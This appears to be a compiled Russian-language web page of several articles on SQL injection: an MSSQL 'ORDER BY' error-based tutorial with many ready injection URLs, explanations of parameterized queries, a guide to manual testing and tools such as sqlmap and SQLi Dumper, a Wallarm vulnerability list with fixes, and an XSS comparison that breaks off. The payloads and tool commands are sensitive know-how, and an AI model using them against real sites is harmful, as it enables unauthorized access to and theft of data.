Примеры sql injection: Шпаргалка по SQL инъекциям | DefconRU
Содержание
SQL-инъекция через ошибку при помощи оператора «Order By» (MSSQL)
SQL-инъекция через ошибку при помощи оператора «Order By» (MSSQL)
В этой статье мы рассмотрим эксплуатацию SQL-инъекции, когда данные передаются через оператор «Order By» в MSSQL, и приложение возвращает ошибку со стороны SQL-сервера
Автор: Manish Kishan Tanwar
Введение
Уязвимости, связанные с SQL-инъекциями, являются одними из наиболее старых и хорошо известных, которые доставили немало проблем обитателям киберпространства. Специалисты по безопасности опубликовали множество статей, описывающих техники для проведения различных типов атак, включая доступ к информации в базах данных, чтение/запись кода с/на сервер при помощи конструкций «load outfile» и «into outfile» в MySQL и выполнение кода от имени учетной записи SA в MSSQL.
В этой статье мы рассмотрим эксплуатацию SQL-инъекции, когда данные передаются через оператор «Order By» в MSSQL, и приложение возвращает ошибку со стороны SQL-сервера в случае, если есть ошибка в синтаксисе SQL-запроса.
Если информация передается пользователем через SQL-запрос в качестве имени колонки, используемой в операторе «Order By», обычная SQL-инъекция на базе ошибки (Error based SQL Injection) не поможет.
Все дело в том, что в SQL-сервере предусмотрен предопределенный набор правил для SQL-запросов из-за которых, мы не можем воспользоваться техникой «Error based SQL Injection».
С другой стороны, пользователь может передать имя функции внутри оператора «Order by», и в этом случае эксплуатация бреши становится возможной. Мы должны внедрить функцию на стороне SQL-сервера, которая выполняет запрос, передаваемый в качестве аргумента, пытается выполнить операции с результатами выполнения инжектированного запроса, а затем выдает ошибку, через которую отобразятся результаты инжектированного SQL-запроса.
Схема эксплуатации
Существует не так много функций, которые могут выполнять SQL-запрос, передаваемый в качестве аргумента, производят операции по результатам выполнения запроса и выдают результаты выполнения SQL-запроса через ошибку.
Convert() – одна из наиболее часто используемых функции при реализации выполнении инъекций Error based SQL injection в сочетании с оператором «and».
Функция convert() пытается выполнить преобразование результатов запроса, передаваемого во втором аргументе, в соответствие с типом данных, указанным в первом аргументе.
Например, при использовании конструкции convert(int,@@version) вначале будет выполняться SQL-запрос из второго аргумента, а затем функция convert попытается преобразовать результаты выполнения запроса к целочисленному типу. Однако поскольку SQL-запрос возвращает данные типа varchar, преобразование не выполнится, и функция convert возвратит ошибку, суть которой будет сводиться к тому, что результаты выполнения запроса не могут быть преобразованы к целочисленному типу. Именно используя этот трюк, злоумышленник может получить результаты выполнения SQL-запроса.
Перечень функций, при помощи которых доступна реализация похожих сценариев:
-
convert ()
-
file_name ()
-
db_name()
-
col_name()
-
filegroup_name()
-
object_name()
-
schema_name()
-
type_name()
-
cast()
Пример
Предположим, что у нас есть URL, где присутствует уязвимость на базе SQL-инъекции, когда мы передаем содержимое поля «order» через метод HTTP GET:
http://vulnerable_webapp/vulnerable.asp?data=yes&order=column_name
Приложение принимает пользовательские данные из параметра «order» метода HTTP GET и формирует следующий запрос:
Select table_name,column_name from information_schema.columns order by column_name
Примеры инъекций с функцией convert()
Получение версии SQL-сервера
Инжектируемый URL:
http://vulnerable_webapp/vulnerable.asp?data=yes&order=convert(int,@@version)
Запрос, выполняемый на стороне сервера:
select table_name,column_name from information_schema.columns order by convert(int,@@version)
Рисунок 1: Пример SQL-инъекции для получения версии сервера с использованием функции convert
Получение имени таблицы в текущей базе данных
Инжектируемый URL:
http://vulnerable_webapp/vulnerable.asp?data=yes&order=CONVERT(int,(select top(1) table_name from information_schema.columns))
Запрос, выполняемый на стороне сервера:
select table_name,column_name from information_schema.columns order by CONVERT(int,(select top(1) table_name from information_schema.tables))
Рисунок 2: Пример SQL-инъекции для извлечения имени таблицы с использованием функции convert
Получение имени колонки таблицы
Для извлечения имени колонки мы будем использовать функцию cast() для указания имени таблицы, из которой будет извлекаться имя колонки. Имя таблицы указано в шестнадцатеричном формате.
Инжектируемый URL:
http://vulnerable_webapp/vulnerable.asp?data=yes&order= convert(int,(select top(1) COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(0x7370745f66616c6c6261636b5f6462 as varchar)))
Запрос, выполняемый на стороне сервера:
select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by convert(int,(select top(1) COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(0x7370745f66616c6c6261636b5f6462 as varchar)))
Рисунок 3: Пример SQL-инъекции для извлечения имени колонки с использованием функции convert
Извлечение данных из колонки таблицы
Получение информации из колонки выполняется схожим образом. Достаточно указать имя колонки и имя таблицы в SQL-запросе. В примере ниже используется имя колонки «xserver_name» из таблицы «spt_fallback_db».
Инжектируемый URL:
http://vulnerable_webapp/vulnerable.asp?data=yes&order=convert(int,(select top(1) xserver_name from spt_fallback_db))
Запрос, выполняемый на стороне сервера:
select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by convert(int,(select top(1) xserver_name from spt_fallback_db))
Рисунок 4: Пример SQL-инъекции для получения информации из колонки с использованием функции convert
Примеры инъекций с функцией file_name()
Получение версии SQL-сервера
Инжектируемый URL:
http://vulnerable_webapp/vulnerable.asp?data=yes&order=file_name(@@version)
Запрос, выполняемый на стороне сервера:
select table_name,column_name from information_schema.columns order by file_name(@@version)
Рисунок 5: Пример SQL-инъекции для получения версии сервера с использованием функции file_name
Получение имени таблицы в текущей базе данных
Инжектируемый URL:
http://vulnerable_webapp/vulnerable.asp?data=yes&order=file_name(select top(1) table_name from information_schema.columns)
Запрос, выполняемый на стороне сервера:
select table_name,column_name from information_schema.columns order by file_name(select top(1) table_name from information_schema.tables)
Рисунок 6: Пример SQL-инъекции для извлечения имени таблицы с использованием функции file_name
Получение имени колонки таблицы
Для извлечения имени колонки мы будем использовать функцию cast() для указания имени таблицы, из которой будет извлекаться имя колонки. Имя таблицы указано в шестнадцатеричном формате.
Инжектируемый URL:
http://vulnerable_webapp/vulnerable.asp?data=yes&order= file_name(select top(1) COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(0x7370745f66616c6c6261636b5f6462 as varchar))
Запрос, выполняемый на стороне сервера:
select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by file_name(select top(1) COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(0x7370745f66616c6c6261636b5f6462 as varchar))
Рисунок 7: Пример SQL-инъекции для извлечения имени колонки с использованием функции file_name
Извлечение данных из колонки таблицы
Получение информации из колонки выполняется схожим образом. Достаточно указать имя колонки и имя таблицы в SQL-запросе. В примере ниже используется имя колонки «xserver_name» из таблицы «spt_fallback_db».
Инжектируемый URL:
http://vulnerable_webapp/vulnerable.asp?data=yes&order= file_name((select top(1) xserver_name from spt_fallback_db))
Запрос, выполняемый на стороне сервера:
select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by file_name((select top(1) xserver_name from spt_fallback_db))
Рисунок 8: Пример SQL-инъекции для получения информации из колонки с использованием функции file_name
Благодарности
Выражаю особую благодарность IndiShell Crew и Myhackerhouse.
Может ли параметризованный оператор остановить все SQL-инъекции?
Когда в статьях говорится о параметризованных запросах, предотвращающих атаки SQL, они на самом деле не объясняют, почему. Часто бывает так: «Да, так что не спрашивайте почему» — возможно, потому, что они сами не знают. Верный признак плохого педагога — тот, кто не может признать, что чего-то не знает. Но я отвлекся. Когда я говорю, что совершенно понятно запутаться, это просто. Представьте себе динамический SQL-запрос
sqlQuery='SELECT * FROM custTable WHERE User=' + Username + ' AND Pass=' + password
так что простая инъекция sql будет просто помещать имя пользователя как ‘OR 1 = 1 — это эффективно сделало бы запрос sql:
sqlQuery='SELECT * FROM custTable WHERE User='' OR 1=1
Это говорит о том, что выберите всех клиентов, у которых их имя пользователя пустое (») или 1 = 1, что является логическим значением, равным истине. Затем он использует -, чтобы закомментировать остальную часть запроса. Таким образом, он просто распечатает всю таблицу клиентов или сделает с ней все, что вы хотите, при входе в систему он войдет в систему с привилегиями первого пользователя, которым часто может быть администратор.
Теперь параметризованные запросы делают это иначе, с таким кодом, как:
sqlQuery='SELECT * FROM custTable WHERE User=? AND Pass=?'
parameters.add("User", username)
parameters.add("Pass", password)
где имя пользователя и пароль — это переменные, указывающие на связанные введенные имя пользователя и пароль
Теперь вы можете подумать, что это вообще ничего не меняет. Конечно, вы все равно можете просто ввести в поле имени пользователя что-то вроде Nobody OR 1 = 1 ‘-, эффективно выполняя запрос:
sqlQuery='SELECT * FROM custTable WHERE User=Nobody OR 1=1'-- AND Pass=?'
И это, казалось бы, веский аргумент. Но вы ошибаетесь.
Принцип работы параметризованных запросов заключается в том, что sqlQuery отправляется как запрос, и база данных точно знает, что будет делать этот запрос, и только после этого она вставит имя пользователя и пароли просто как значения. Это означает, что они не могут повлиять на запрос, потому что база данных уже знает, что будет делать запрос. Таким образом, в этом случае он будет искать имя пользователя «Никто ИЛИ 1 = 1 ‘-» и пустой пароль, который должен оказаться ложным.
Однако это не полное решение, и проверка ввода все равно потребуется, так как это не повлияет на другие проблемы, такие как атаки XSS, поскольку вы все равно можете поместить javascript в базу данных. Затем, если это зачитывается на странице, он будет отображать его как обычный javascript, в зависимости от любой проверки вывода. Поэтому на самом деле лучше всего по-прежнему использовать проверку ввода, но использовать параметризованные запросы или хранимые процедуры для предотвращения любых атак SQL.
SQL — инъекция — it-black.ru
В одной из своих статей я Вас немного знакомил с SQL-инъекцией, а в этой статье я хочу подробней рассказать о данной уязвимости. Давайте сперва вспомним что же это такое:
SQL инъекция — это один из самых доступных способов взлома сайта. Суть таких инъекций – внедрение в данные (передаваемые через GET, POST запросы или значения Cookie) произвольного SQL кода.
Если сайт уязвим и выполняет такие инъекции, то злоумышленник может творить с базой данных что угодно. Для избежания таких ситуаций нужно грамотно оптимизировать код и внимательно следить за тем, какой запрос каким способом обрабатывается.
Основные типы инъекций
Реализовать уязвимости посредством SQL-инъекции можно несколькими вариантами:
- UNION query SQL injection. Реализуется он за счёт ошибки в проверке приходящих данных, которые никак не фильтруются.
- Error-based SQL injection. Данный тип также использует ошибки, посылая выражения, составленные синтаксически неправильно. Затем происходит перехват заголовков ответа, анализируя которые, можно провести впоследствии SQL-инъекцию.
- Stacked queries SQL injection. Данная уязвимость определяется выполнением последовательных запросов. Характеризуется он присоединением в конце знака «;». Этот подход чаще реализуется для доступа к реализации чтения и записи данных или же управлением функциями операционной системы, если привилегии это позволяют.
Как проверить свой сайт на SQL-инъекции?
Для установления наличия уязвимости в сети имеется масса готовых автоматизированных программных комплексов. Но можно осуществить простую проверку и вручную.
Для этого нужно перейти на один из исследуемых сайтов и в адресной строке попробовать вызвать ошибку базы данных. К примеру, скрипт на сайте может не обрабатывать запросы и не обрезать их.
Например, есть некий_сайт/index.php?id=38
Самый лёгкий способ — поставить после 38 кавычку и отправить запрос. Если никакой ошибки не возникло, то либо на сайте фильтруются все запросы и правильно обрабатываются, либо в настройках отключён их вывод. Если страница перезагрузилась с проблемами, значит, уязвимость для SQL-инъекции есть.
После того как она обнаружена, можно пробовать избавиться от нее.
Например, когда число полей большое — 30, 60 или 100. Команда GROUP BY группирует результаты запроса по какому-либо признаку, например id:
некий_сайт/index.php?id=38 GROUP BY 5.
Если ошибок не было получено, значит, полей больше, чем 5. Таким образом, подставляя варианты из довольно обширного диапазона, можно вычислить, сколько же их на самом деле.
Программные комплексы для поиска SQL-уязвимостей
Такие программы обычно имеют две составляющих — сканирование сайта на возможные уязвимости и их использование для получения доступа к данным. Существуют такие утилиты практически для всех известных платформ. Их функционал в значительной мере облегчает проверку сайта на возможность взлома SQL-инъекцией. Рассмотрим некоторые примеры таких программ:
jSQL Injection
jSQL Injection — кроссплатформенный инструмент для тестирования использования SQL уязвимостей. Написан на Java, поэтому в системе должен быть установлен JRE. Способен обрабатывать запросы GET, POST, header, cookie. Обладает удобным графическим интерфейсом.
Установка данного программного комплекса происходит так:
wget https://github.com/`curl -s https://github.com/ron190/jsql-injection/releases| grep-E -o ‘/ron190/jsql-injection/releases/download/v[0-9]{1,2}.[0-9]{1,2}/jsql-injection-v[0-9]{1,2}.[0-9]{1,2}.jar’| head-n 1`
Для того чтобы начать проверку сайта на SQL-уязвимость, нужно ввести его адрес в верхнее поле. Они есть отдельные для GET и для POST. При положительном результате в левом окне появится список доступных таблиц. Их можно просмотреть и узнать некую конфиденциальную информацию.
SQLi Dumper v.7
Данная программа — простой в использовании инструмент для поиска и реализации уязвимостей в SQL. Производит он это на основе так называемых дорков. Дорки для SQL-инъекций — это специальные шаблоны поисковых запросов. С их помощью можно найти потенциально уязвимый сайт через любой поисковик.
Sqlmap
Очень мощный сканер, работающий с большинством известных СУБД. Поддерживает различные методики внедрения SQL-инъекций. Имеет возможность автоматического распознавания типа хэша пароля и его взлома по словарю. Присутствует и функционал загрузки и выгрузки файлов с сервера. Установка в среде Linux выполняется с помощью команд:
- git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev,
- cdsqlmap-dev/,
- ./sqlmap.py –wizard.
Для Windows имеется как вариант с командной строкой, так и с графическим интерфейсом пользователя.
P.S. Данная статья написана в ознакомительных целях для хорошего понимания SQL уязвимостей на своём сайте. Прошу Вас не использовать полученные знания для незаконных действий. Не переходите на тёмную сторону))). Важно помнить, что за несанкционированный доступ к чужому имеется статья Уголовного кодекса.
Этический взлом — SQL-инъекция — CoderLessons.com
Внедрение SQL — это набор команд SQL, которые помещаются в строку URL или в структуры данных, чтобы получить требуемый ответ из баз данных, связанных с веб-приложениями. Этот тип атак обычно происходит на веб-страницах, разработанных с использованием PHP или ASP.NET.
Атака SQL-инъекции может быть выполнена со следующими намерениями:
Чтобы сбросить всю базу данных системы,
Чтобы изменить содержимое баз данных, или
Для выполнения разных запросов, которые не разрешены приложением.
Чтобы сбросить всю базу данных системы,
Чтобы изменить содержимое баз данных, или
Для выполнения разных запросов, которые не разрешены приложением.
Этот тип атаки работает, когда приложения не проверяют входные данные должным образом, прежде чем передать их в оператор SQL. Инъекции обычно помещаются в адресные строки, поля поиска или поля данных.
Самый простой способ определить, является ли веб-приложение уязвимым для атаки с использованием SQL-инъекций, — это использовать символ «» в строке и проверить, нет ли ошибок.
Пример 1
Давайте попробуем понять эту концепцию на нескольких примерах. Как показано на следующем снимке экрана, мы использовали символ «» в поле «Имя».
Теперь нажмите кнопку « Войти» . Он должен дать следующий ответ —
Это означает, что поле «Имя» уязвимо для внедрения SQL.
Пример 2
У нас есть этот URL — http://10.10.10.101/mutillidae/index.php?page=site-footer-xssdiscussion.php
И мы хотим протестировать переменную «страница», но посмотрим, как мы вставили символ «» в строку URL.
Когда мы нажимаем Enter, он выдаст следующий результат с ошибками.
SQLMAP
SQLMAP является одним из лучших инструментов, доступных для обнаружения SQL-инъекций. Его можно скачать с http://sqlmap.org/
Он поставляется предварительно скомпилированным в дистрибутив Kali. Вы можете найти его по адресу — Приложения → Оценка базы данных → Sqlmap.
После открытия SQLMAP мы переходим на страницу, на которой у нас есть SQL-инъекция, а затем получаем запрос заголовка. Из заголовка мы запускаем следующую команду в SQL —
./sqlmap.py --headers="User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:25.0) Gecko/20100101 Firefox/25.0" --cookie="security=low; PHPSESSID=oikbs8qcic2omf5gnd09kihsm7" -u ' http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#' - level=5 risk=3 -p id --suffix="-BR" -v3
SQLMAP проверит все переменные, и результат покажет, что параметр «id» уязвим, как показано на следующем снимке экрана.
SQLNinja
SQLNinja — это еще один инструмент для внедрения SQL, который доступен в дистрибутиве Kali.
Инъекция JSQL
JSQL Injection находится на Java и делает автоматические SQL-инъекции.
Быстрые советы
Чтобы ваше веб-приложение не подвергалось атакам с использованием SQL-инъекций, следует помнить о следующих моментах:
Не проверенный пользовательский ввод в базу данных не должен проходить через графический интерфейс приложения.
Каждая переменная, которая передается в приложение, должна быть обработана и проверена.
Пользовательский ввод, который передается в базу данных, должен быть заключен в кавычки.
Список уязвимостей · Wallarm
FAST способен обнаружить множество уязвимостей. Их список приведен ниже.
Для каждого элемента в списке указан код Валарм, соответствующий уязвимости.
Для большинства уязвимостей также указаны один или несколько кодов из списка распространенных слабых мест в безопасности программного обеспечения (англ. Common Weakness Enumeration, CWE).
Cписок уязвимостей
Аномалия
Код CWE: нет.
Код Валарм: anomaly
Описание:
Аномалия — особый тип уязвимостей, который характеризуется нетипичной реакцией приложения на полученный запрос.
Обнаруженная аномалия указывает на слабое и потенциально уязвимое место в приложении, которое может быть использовано злоумышленником либо для прямой атаки на приложение, либо для сбора информации перед атакой.
Атака на внешние XML-сущности (англ. XML External Entity, XXE)
Код CWE: CWE-611
Код Валарм: xxe
Описание
Уязвимость к атаке XXE заключается в том, что злоумышленник способен внедрить внешние сущности в структуру XML-документов, которые будут обработаны XML-парсером и выполнены на целевом веб-сервере.
В результате реализации атаки злоумышленник будет иметь возможности для:
- получения доступа к конфиденциальным данным веб-приложения;
- осуществления атаки SSRF;
- сканирования внутренней сети;
- чтения локальных файлов на веб-сервере;
- осуществления DoS-атак.
Данная уязвимость существует из-за отсутствия запрета на разрешение внешних сущностей XML в веб-приложении.
Рекомендации по устранению
Вы можете последовать следующим рекомендациям:
- отключить разрешение внешних XML-сущностей при работе с пользовательскими XML-документами;
- воспользоваться рекомендациями из OWASP XXE Prevention Cheatsheet.
Инъекция шаблона на стороне сервера (англ. Server Side Template Injection, SSTI)
Код CWE: CWE-94, CWE-159
Код Валарм: ssti
Описание
Уязвимость к атаке типа «Server-Side Template Injection» позволяет злоумышленнику внедрить в форму пользовательского ввода исполняемую конструкцию, которая в результате будет обработана шаблонизатором на стороне веб-сервера.
В результате эксплуатации данной уязвимости злоумышленник имеет возможность создавать произвольные запросы к веб-серверу, обращаться к его файловой системе, а также при определенных условиях удаленно выполнять произвольный код (атака RCE).
Уязвимость к атакам данного типа возникает из-за некорректной фильтрации входных пользовательских данных.
Рекомендации по устранению
Вы можете последовать следующей рекомендации: параметры, получаемые веб-приложением, должны проходить процессы санитизации (англ. sanitization) и фильтрации для предотвращения исполнения управляющих конструкций.
Межсайтовая подделка запросов (англ. Cross-Site Request Forgery, CSRF)
Код CWE: CWE-352
Код Валарм: csrf
Описание
CSRF — вид атаки на пользователей веб-приложения, которая позволяет злоумышленнику выполнять запросы от имени пользователя в уязвимом веб-приложении.
Эксплуатация одноименной уязвимости возможна из-за того, что браузер пользователя при выполнении запроса с одного домена на другой автоматически добавляет в запрос пользовательские Cookies, установленные для целевого домена.
Это позволяет злоумышленнику, не имея доступа к Cookies пользователя, отправить запрос на уязвимое веб-приложение от его имени с вредоносного сайта.
Рекомендации по устранению
Вы можете последовать следующим рекомендациям:
- внедрить механизм защиты от CSRF атак в виде CSRF-токенов или других технологий;
- установить атрибут
SameSite
для Сookies; - воспользоваться рекомендациями из OWASP CSRF Prevention Cheatsheet.
Межсайтовый скриптинг (англ. Cross-site Scripting, XSS)
Код CWE: CWE-79
Код Валарм: xss
Описание
Межсайтовый скриптинг — это вид атаки на клиентов веб-приложения, при которой в браузере клиентов может быть исполнен произвольный код, подготовленный злоумышленником.
Различают несколько видов XSS:
Хранимый XSS (англ. Stored XSS).
Вредоносный код заранее внедрен на страницу приложения.
Уязвимость к данной атаке позволяет злоумышленнику внедрить вредоносный код в HTML-страницу веб-приложения с возможностью постоянного отображения этого кода в браузере всех клиентов, обратившихся к данной странице.
Отраженный XSS (англ. Reflected XSS).
Для произведения атаки злоумышленнику необходимо спровоцировать пользователя перейти по специально сформированной ссылке.
DOM-based XSS.
Уязвимость к DOM-based XSS-атакам появляется в случаях, когда JavaScript-код страницы веб-приложения обрабатывает отправляемые данные, и из-за ошибок в коде реализации может попытаться исполнить полученный набор данных в качестве команд языка JavaScript.
В результате реализации любой из вышеперечисленных атак в браузере клиента будет выполнен произвольный JavaScript-код, который может позволить злоумышленнику украсть пользовательскую сессию, производить запросы от имени пользователя, получить пользовательские учетные данные и выполнять иные вредоносные действия.
Уязвимость к атакам данного типа возникает из-за некорректной фильтрации входных пользовательских данных.
Рекомендации по устранению
Вы можете последовать следующим рекомендациям:
- Параметры, получаемые веб-приложением, должны проходить процессы санитизации (англ. sanitization) и фильтрации для предотвращения исполнения управляющих конструкций.
- При формировании страницы веб-приложения проводить санитизацию и экранирование управляющих конструкций из динамически собирающихся данных.
- Рекомендации из OWASP XXS Prevention Cheatsheet.
Небезопасная прямая ссылка на объект (англ. Insecure Direct Object References, IDOR)
Код CWE: CWE-639
Код Валарм: idor
Описание
Функции авторизации приложения не препятствуют тому, чтобы один пользователь не мог получить доступ к данным или ресурсам другого пользователя.
Данная уязвимость возникает из-за того, что веб-приложение предоставляет возможность, изменив значение ключа, получить прямую ссылку на объект, например файл, каталог или запись в базе данных и не осуществляет соответствующий контроль доступа.
В процессе эксплуатации уязвимости злоумышленник за счёт манипуляций с параметрами запроса может получить несанкционированный доступ к конфиденциальной информации веб-приложения и пользователей.
Рекомендации по устранению
Вы можете последовать следующим рекомендациям:
- реализовать корректную проверку контроля доступа к ресурсам веб-приложения;
- реализовать механизм контроля доступа к ресурсам и разграничивать доступ к ним в соостветствии с правами пользователя;
- использовать косвенные ссылки на объекты;
- воспользоваться рекомендациями из OWASP IDOR Prevention Cheatsheet.
Небезопасное перенаправление (англ. Open Redirect)
Код CWE: CWE-601
Код Валарм: redir
Описание
Небезопасное перенаправление — это атака, в результате которой злоумышленник может перенаправить пользователя на вредоносную страницу от имени легитимного веб-приложения.
Уязвимость к атакам данного типа возникает из-за некорректной фильтрации входных данных URL-адреса.
Рекомендации по устранению
Вы можете последовать следующим рекомендациям:
- Параметры, получаемые веб-приложением, должны проходить процессы санитизации (англ. sanitization) и фильтрации для предотвращения исполнения управляющих конструкций.
- Следует уведомлять пользователя о всех перенаправлениях и запрашивать их подтверждение для перехода по ссылке.
Подделка запросов на стороне сервера (англ. Server-Side Request Forgery, SSRF)
Код CWE: CWE-918
Код Валарм: ssrf
Описание
SSRF — вид атаки на веб-сервер, которая позволяет злоумышленнику выполнять запросы от имени веб-сервера. Реализация данной атаки может привести к получению информации о локальных портах уязвимого веб-приложения, сканированию внутренней сети, а также обходу ограничений доступа.
Рекомендации по устранению
Вы можете последовать следующим рекомендациям:
- Параметры, получаемые веб-приложением, должны проходить процессы санитизации (англ. sanitization) и фильтрации для предотвращения исполнения управляющих конструкций.
- Рекомендации из OWASP SSRF Prevention Cheatsheet.
Раскрытие информации (англ. Information Exposure)
Код CWE: CWE-200 (смотрите также: CWE-209, CWE-215, CWE-538, CWE-541, CWE-548)
Код Валарм: info
Описание
Исследуемое приложение производит преднамеренное или непреднамеренное раскрытие информации субъекту, который явно не уполномочен иметь доступ к этой информации.
Рекомендации по устранению
Вы можете последовать следующей рекомендации: исключить вывод конфиденциальной информации на страницах веб-приложения.
Удаленное выполнение кода (англ. Remote Code Execution, RCE)
Коды CWE: CWE-78, CWE-94 и другие
Код Валарм: rce
Описание
Злоумышленник может внедрить вредоносный код в запрос к веб-приложению, который затем будет исполнен веб-приложением.
Также злоумышленник может попытаться выполнить определенные команды операционной системы, в которой запущено уязвимое веб-приложение.
В результате реализации атаки злоумышленнику может стать доступен широкий спектр действий, включающий в себя:
- влияние на целостность, доступность и конфиденциальность данных веб-приложения;
- получение контроля за операционной системой и сервером, которые обеспечивают выполнение веб-приложения;
- иные возможности.
Уязвимость к атакам данного типа возникает из-за некорректной фильтрации входных пользовательских данных.
Рекомендации по устранению
Вы можете последовать следующей рекомендации: параметры, получаемые веб-приложением, должны проходить процессы санитизации (англ. sanitization) и фильтрации для предотвращения исполнения управляющих конструкций.
Уязвимость в механизмах аутентификации (англ. Authentication Bypass)
Код CWE: CWE-288
Код Валарм: auth
Описание
Программное обеспечение реализует механизм аутентификации пользователей, но приложение имеет альтернативные каналы аутентификации, позволяющие обойти основной механизм или воспользоваться его недочетами, для получения доступа с правами пользователя или администратора.
В результате наличия данной уязвимости, потенциальный злоумышленник может получить доступ к конфиденциальным данным пользователей или получить доступ к управлению приложением с правами администратора.
Рекомендации по устранению
Вы можете последовать следующим рекомендациям:
- устранить недочеты существующего механизма аутентификации;
- устранить любые сторонние каналы аутентификации, позволяющие потенциальным злоумышленникам получать доступ к приложению без прохождения корректного процесса аутентификации;
- воспользоваться рекомендациями из OWASP Authentication Cheatsheet.
LDAP-инъекция (англ. LDAP Injection)
Код CWE: CWE-90
Код Валарм: ldapi
Описание
LDAP-инъекции — это класс атак, который позволяет злоумышленнику внедрить мета-символы фильтров поиска в запрос к структуре LDAP, хранящейся на сервере.
В результате реализации атаки злоумышленник может получить доступ к чтению/изменению конфиденциальной информации о пользователях и нодах, представленных в структуре LDAP.
Уязвимость к атакам данного типа возникает из-за некорректной фильтрации входных пользовательских данных.
Рекомендации по устранению
Вы можете последовать следующим рекомендациям:
- Параметры, получаемые веб-приложением, должны проходить процессы санитизации (англ. sanitization) и фильтрации для предотвращения исполнения управляющих конструкций.
- Рекомендации из OWASP LDAP Injection Prevention Cheatsheet.
NoSQL-инъекция (англ. NoSQL Injection)
Код CWE: CWE-943
Код Валарм: nosqli
Описание
NoSQL-инъекции — это класс атак, которые позволяют злоумышленнику получить возможность доступа к конфиденциальным данным веб-приложения. Атаки этого типа реализуются из-за недостаточной фильтрации входных пользовательских данных, путем внедрения специально сконструированного запроса к NoSQL-базе данных.
Рекомендации по устранению
Вы можете последовать следующей рекомендации: параметры, получаемые веб-приложением, должны проходить процессы санитизации (англ. sanitization) и фильтрации для предотвращения исполнения управляющих конструкций.
Path Traversal
Код CWE: CWE-22
Код Валарм: ptrav
Описание
Path Traversal — это тип атаки, которая позволяет злоумышленнику получить доступ к конфиденциальным файлам и каталогам, хранящимся в файловой системе веб-приложения с помощью изменения существующих путей к файлам через параметры веб-приложения.
Уязвимость к данному типу атак возникает из-за некорректной фильтрации пользовательских данных при запросе пользователем файлов или директорий через веб-приложение.
Рекомендации по устранению
Вы можете последовать следующим рекомендациям:
- Параметры, получаемые веб-приложением, должны проходить процессы санитизации (англ. sanitization) и фильтрации для предотвращения исполнения управляющих конструкций.
- Дополнительные рекомендации по предотвращению данного типа атак доступны здесь.
SQL-инъекция (англ. SQL Injection)
Код CWE: CWE-89
Код Валарм: sqli
Описание
Атака этого типа реализуется из-за недостаточной фильтрации входных пользовательских данных, путем внедрения специально сконструированного SQL-запроса.
Уязвимость к атаке типа «SQL-инъекция» позволяет злоумышленнику внедрить в выполняемый запрос к базе данных произвольный SQL-код, получив возможность доступа к конфиденциальным данным, их изменению, а также выполнению операций по администрированию СУБД.
Рекомендации по устранению
Вы можете последовать следующим рекомендациям:
- Параметры, получаемые веб-приложением, должны проходить процессы санитизации (англ. sanitization) и фильтрации для предотвращения исполнения управляющих конструкций.
- Рекомендации из OWASP SQL Injection Prevention Cheatsheet.
Разница между XSS и SQL-инъекцией
Главное различие между XSS и SQL-инъекцией состоит в том, что XSS (межсайтовый скриптинг) представляет собой тип компьютерной уязвимости, внедряющая вредоносный код на веб-ресурс, так что код запускается у пользователей этого веб-сайта браузером во время SQL-инъекции. Этот механизм взлома веб-ресурсов, добавляющий в строку ввода веб-формы код SQL, для получения доступа или внесения изменений в данных веб—ресурса.
Каждая организация поддерживает веб-ресурсы, помогающие улучшить бизнес и прибыльность. Веб-приложение содержит клиентскую и серверную части. Клиентская сторона включает пользовательские интерфейсы для взаимодействия с приложением. Серверная часть включает базу данных. Обычно, существуют угрозы, которые влияют на правильное функционирование приложения. Два из них — XSS и SQL-инъекция.
Содержание
- Обзор и основные отличия
- Что такое XSS
- Что такое SQL-инъекция
- В чем разница между XSS и SQL-инъекцией
- Заключение
Что такое XSS?
XSS расшифровывается как межсайтовый скриптинг, и это одна из самых распространенных атак на веб-сайты. Она может повлиять на этот конкретный сайт, а также на пользователей этого сайта. JavaScript является наиболее распространенным языком написания вирусного кода, чтобы атаковать XSS. Этот межсайтовый скриптинг может похищать файлы cookie посетителя веб-сайта, изменять его настройки, отображать разные загрузки вредоносных приложений, а также многое другое.
XSS — межсайтовый скриптинг
Имеется два типа межсайтового скриптинга: постоянный и непостоянный XSS. При постоянном XSS вирусный код сохраняется сервером базы данных. Тогда он будет работать на нормальной странице. В непостоянном XSS внедренный вредоносный код будет отправлен на сервер через HTTP-запрос. Часто такие атаки происходят в полях поиска.
Что такое SQL-инъекция?
SQL-инъекция — это другой механизм взлома веб-ресурсов. Он помещает вредоносный код в операторы SQL через ввод интернет-страницы. Интернет-сайт содержит формы для сбора пользовательских данных. Когда пользователь запрашивает ввод имени посетителя или логин посетителя, он предоставляет SQL-выражение вместо имени и его имени. Таким образом, можно выполнять работу с базой данных сайта.
SQL-инъекция
Вот некоторые примеры SQL-инъекций:
Может возникнуть ситуация для поиска пользователя по идентификатору пользователя. Если нет метода подтверждения ввода, пользователь может ввести неверный ввод. Если он введет идентификатор пользователя как 100 ИЛИ 1=1, он сгенерирует оператор SQL следующим образом.
выберите * из пользователей, где userid = 100 или 1 = 1;
Этот оператор SQL может вернуть всех пользователей базы данных, потому что 1=1 всегда верно. Таким образом хакер получает доступ к конфиденциальным данным, таким как логинам и паролям посетителей. Это SQL-инъекция
В чем разница между XSS и SQL-инъекцией?
XSS или межсайтовый скриптинг — это компьютерная уязвимость в безопасности интернет-приложений, позволяющая хакерам вставлять клиентские сценарии в интернет-страницы, просматриваемые посетителями веб-ресурса. SQL-инъекция — это способ внедрения кода, атакующий веб-приложения и управляемый с помощью данных, вставляющих в запись операторов SQL, поданную для выполнения.
XSS внедряет вредоносный код в интернет-сайт, поэтому браузер запускает его у пользователей этого интернет-сайта. Тогда как, SQL-инъекция добавляет SQL код веб-формы в поле ввода, для получения доступа к ресурсам или внесения изменений в данных. Этом главное отличие XSS от SQL-инъекций. JavaScript является наиболее распространенным языком для XSS межсайтового скриптинга, тогда как SQL-инъекция применяет язык SQL.
Заключение — XSS против SQL-инъекций
